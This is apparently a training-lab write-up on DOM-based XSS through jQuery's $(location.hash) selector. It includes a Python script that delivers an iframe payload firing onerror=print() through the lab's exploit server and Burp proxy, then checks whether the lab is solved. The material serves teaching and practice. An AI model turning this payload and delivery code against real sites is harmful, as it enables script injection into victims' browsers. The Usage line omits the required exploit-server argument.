XSS Lab 6
DOM-based XSS using jQuery selector and hashchange event
DOM XSS in jQuery selector sink using a hashchange event#
This lab demonstrates a DOM-based cross-site scripting (XSS) vulnerability on the home page. The vulnerability arises from jQuery’s $()
selector, which uses location.hash
to auto-scroll to a post based on its title. By manipulating the hash, an attacker can inject JavaScript that is executed in the victim’s browser.
In this exercise, the goal was to deliver an exploit that calls the print()
function in the victim’s browser, demonstrating a DOM XSS attack without touching the server-side code.
How Exploit Works#
- The home page uses
$(location.hash)
to select elements based on the hash in the URL. - By injecting an iframe containing a malicious
onload
event, arbitrary JavaScript can execute when the victim loads the page. - The exploit server is used to host the malicious payload and deliver it to the victim.
- The
print()
function is called in the victim browser to confirm execution. - This attack is fully client-side (DOM XSS), requiring no server-side vulnerabilities.
Usage#
python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmdExploit#
exploit.py
import sys, time, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def check_burp():
try:
requests.get("http://127.0.0.1:8080", timeout=3)
except requests.exceptions.RequestException:
print("[-] Start Burp (127.0.0.1:8080) and rerun"); sys.exit(1)
def deliver(exploit_server, lab_url):
head = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8"
payload = '<iframe src="{}/#" onload="this.src+=\'<img src=1 onerror=print()>\'">'.format(lab_url)
data = {"responseBody": payload, "responseHead": head, "formAction":"DELIVER_TO_VICTIM",
"urlIsHttps":"on","responseFile":"/exploit"}
try:
r = requests.post(exploit_server, data=data, verify=False, proxies=proxies, timeout=10)
r.raise_for_status()
return True
except requests.exceptions.RequestException:
return False
def check_solved(lab_url, tries=5, wait=2):
s = requests.Session()
for _ in range(tries):
try:
r = s.get(lab_url, verify=False, proxies=proxies, timeout=10)
if "Congratulations" in r.text or "Solved" in r.text:
return True
except requests.exceptions.RequestException:
pass
time.sleep(wait)
return False
if __name__ == "__main__":
if not (2 <= len(sys.argv) <= 3):
print(f"Usage: python {sys.argv[0]} <lab-url> [exploit-server]"); sys.exit(1)
lab = sys.argv[1].rstrip('/')
if len(sys.argv) == 3:
exploit = sys.argv[2].rstrip('/')
else:
print("Exploit server not provided; exiting.")
sys.exit(1)
check_burp()
print(f"[*] Lab URL: {lab}")
print(f"[*] Exploit Server: {exploit}/")
print("[*] Delivering the exploit to the victim.. ", end="", flush=True)
if deliver(exploit, lab):
print("[+] OK")
else:
print("[-] Delivery failed"); sys.exit(1)
print("[*] Waiting a moment for the exploit to be delivered and triggered...")
if check_solved(lab, tries=6, wait=2):
print("[+] Lab solved 🎉")
else:
print("[-] Lab not confirmed as solved")
python